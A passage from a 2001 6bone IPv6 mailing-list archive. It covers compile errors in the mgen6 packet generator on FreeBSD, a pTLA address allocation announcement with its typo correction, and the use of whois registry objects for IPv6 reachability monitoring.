function) mgen.c:1129: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function) mgen.c:1136: `IP6_BUF_HOME' undeclared (first use in this function) mgen.c:1148: `IP6OPT_BINDING_ACK' undeclared (first use in this function) mgen.c:1164: `IP6OPT_BINDING_REQ' undeclared (first use in this function) mgen.c: In function `LoadScript': mgen.c:1337: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function) mgen.c:1343: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function) mgen.c:1346: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function) mgen.c:1349: `IP6OPT_BINDING_ACK' undeclared (first use in this function) mgen.c:1352: `IP6OPT_BINDING_REQ' undeclared (first use in this function) *** Error code 1 There aren't '#defines' for IP6OPT_BINDING*, IP6OPT_ROUTER_ALERT, IP6OPT_HOME_ADDRESS and ... in /usr/include/netinet/* and /usr/include/netinet6/* What is the problem? Thank you. Grigory Klyuchnikov, System Engineer, Institute for System Programming Russian Academy of Sciences From marcelo@it.uc3m.es Wed May 30 11:22:59 2001 From: marcelo@it.uc3m.es (marcelo) Date: Wed, 30 May 2001 12:22:59 +0200 Subject: Packet Generators In-Reply-To: Message-ID: You must use the kernel sources provided by KAME proyect. See http://www.kame.org -----Mensaje original----- De: Grigory Kljuchnikov [mailto:grn@ispras.ru] Enviado el: miercoles, 30 de mayo de 2001 11:55 Para: marcelo CC: John M Cole; 6bone@ISI.EDU; alberto@it.uc3m.es Asunto: RE: Packet Generators On Mon, 28 May 2001, marcelo wrote: > Hi, > At Universidad Carlos 3, in LONG project framework, we have migrated MGEN > application to IPv6 so it can generate and receive all kind of IPv6 packets > (including Hop by Hop options, routing header and destination options). > You can find the application at http://www.it.uc3m.es/~alberto/mgen6/ > More information about our project can be found at > http://long.ccaba.upc.es/. > We hope you find it usefull, and if you need further information please > contact us. > > marcelo > Hello, I've tried to make mgen6 on FreeBSD 4.1 and have errors: $ make gcc -O -D_FREEBSD -g -D_GUI -IFreeBSD/X11R6/LessTif/Motif2.0/include -I/usr/X11R6/include -c mgen.c mgen.c: In function `SendOptionHeader': mgen.c:122: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function) mgen.c:122: (Each undeclared identifier is reported only once mgen.c:122: for each function it appears in.) mgen.c:125: `IP6OPT_BINDING_ACK' undeclared (first use in this function) mgen.c: In function `InsertExtensionHeader': mgen.c:1071: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function) mgen.c:1077: `IP6_ALERT_AN' undeclared (first use in this function) mgen.c:1116: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function) mgen.c:1129: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function) mgen.c:1136: `IP6_BUF_HOME' undeclared (first use in this function) mgen.c:1148: `IP6OPT_BINDING_ACK' undeclared (first use in this function) mgen.c:1164: `IP6OPT_BINDING_REQ' undeclared (first use in this function) mgen.c: In function `LoadScript': mgen.c:1337: `IP6OPT_ROUTER_ALERT' undeclared (first use in this function) mgen.c:1343: `IP6OPT_HOME_ADDRESS' undeclared (first use in this function) mgen.c:1346: `IP6OPT_BINDING_UPDATE' undeclared (first use in this function) mgen.c:1349: `IP6OPT_BINDING_ACK' undeclared (first use in this function) mgen.c:1352: `IP6OPT_BINDING_REQ' undeclared (first use in this function) *** Error code 1 There aren't '#defines' for IP6OPT_BINDING*, IP6OPT_ROUTER_ALERT, IP6OPT_HOME_ADDRESS and ... in /usr/include/netinet/* and /usr/include/netinet6/* What is the problem? Thank you. Grigory Klyuchnikov, System Engineer, Institute for System Programming Russian Academy of Sciences From fink@es.net Wed May 30 14:23:02 2001 From: fink@es.net (Bob Fink) Date: Wed, 30 May 2001 06:23:02 -0700 Subject: 6bone pTLA 3FFE:8201::/28 allocated to ATMAN6 Message-ID: <5.0.2.1.0.20010530062124.02c17798@imap2.es.net> ATMAN6 has been allocated pTLA 3FFE:8201::/28 having finished its 2-week review period. Note that it will take a short while for their pTLA inet6num entry to appear in the 6bone registry as they have to create it themselves. However, their registration is listed on: Thanks, Bob From itojun@iijlab.net Wed May 30 17:08:58 2001 From: itojun@iijlab.net (Jun-ichiro itojun Hagino) Date: Thu, 31 May 2001 01:08:58 +0900 Subject: Packet Generators In-Reply-To: marcelo's message of Wed, 30 May 2001 12:22:59 +0200. Message-ID: <20010530160858.229F1782@starfruit.itojun.org> >You must use the kernel sources provided by KAME proyect. >See http://www.kame.org kame.net:-) itojun From itojun@iijlab.net Wed May 30 17:42:41 2001 From: itojun@iijlab.net (Jun-ichiro itojun Hagino) Date: Thu, 31 May 2001 01:42:41 +0900 Subject: 6bone pTLA 3FFE:8201::/28 allocated to ATMAN6 In-Reply-To: fink's message of Wed, 30 May 2001 06:23:02 MST. <5.0.2.1.0.20010530062124.02c17798@imap2.es.net> Message-ID: <20010530164242.D9D19782@starfruit.itojun.org> >ATMAN6 has been allocated pTLA 3FFE:8201::/28 having finished its 2-week >review period. > 3ffe:8201::/28 does not fit into 28 bits. my guess is it is a typo of 3ffe:8210::/28. itojun From david@IPRG.nokia.com Wed May 30 19:22:15 2001 From: david@IPRG.nokia.com (David Kessens) Date: Wed, 30 May 2001 11:22:15 -0700 Subject: whois: getting all "application" line In-Reply-To: <8893.991113736@itojun.org> References: <1191.990195602@itojun.org> <8893.991113736@itojun.org> Message-ID: <20010530112215.A24916@iprg.nokia.com> Itojun, On Tue, May 29, 2001 at 02:22:16PM +0900, itojun@iijlab.net wrote: > > > hi, i'm thinking of configuring a box, which monitors IPv6 reachability > > from my IPv6 network to other IPv6 networks. 6bone whois has > > "appliation" lines, which invies us to ping remote network. > > > >>application: ping sh1.iijlab.net > > are there anyone maintain such list for sTLAs? > i queried APNIC registry and it seems that these "application" lines > are not a requiremnt (or not a common practice). or if someone could > suggest a good tool/existing webpage, it would be very nice. thanks. The 'inet6num' objects are for administrative purposes, that is, they are intended to register who got address space allocated. They don't tell anything about the physical infrastructure. The 'ipv6-site' objects describe how a site is setup from a technical/routing point of view. eg. which prefixes are announced from which AS, what your tunnels are, whether you have application running that people can you to test their v6 implementions etc.. Currently, we have only one repository for 'ipv6-site' objects and this is the 6bone registry. Anybody with ipv6 address space can register their information in the 6bone registry. I personnally consider it a feature that there is currently only one such registry (look at the not-so-well distributed nature of the ipv4 routing registries). Thanks, David K. --- From fink@es.net Wed May 30 17:09:56 2001 From: fink@es.net (Bob Fink) Date: Wed, 30 May 2001 09:09:56 -0700 Subject: CORRECTION: 6bone pTLA 3FFE:8210::/28 allocated to ATMAN6 Message-ID: <5.0.2.1.0.20010530090723.02f14648@imap2.es.net> CORRECTION: pTLA should be 3FFE:8210::/28, not 8201! Sorry about that!! ATMAN6 has been allocated pTLA 3FFE:8210::/28 having finished its 2-week review period. Note that it will take a short while for their pTLA inet6num entry to appear in the 6bone registry as they have to create it themselves. However, their registration is listed on: Thanks, Bob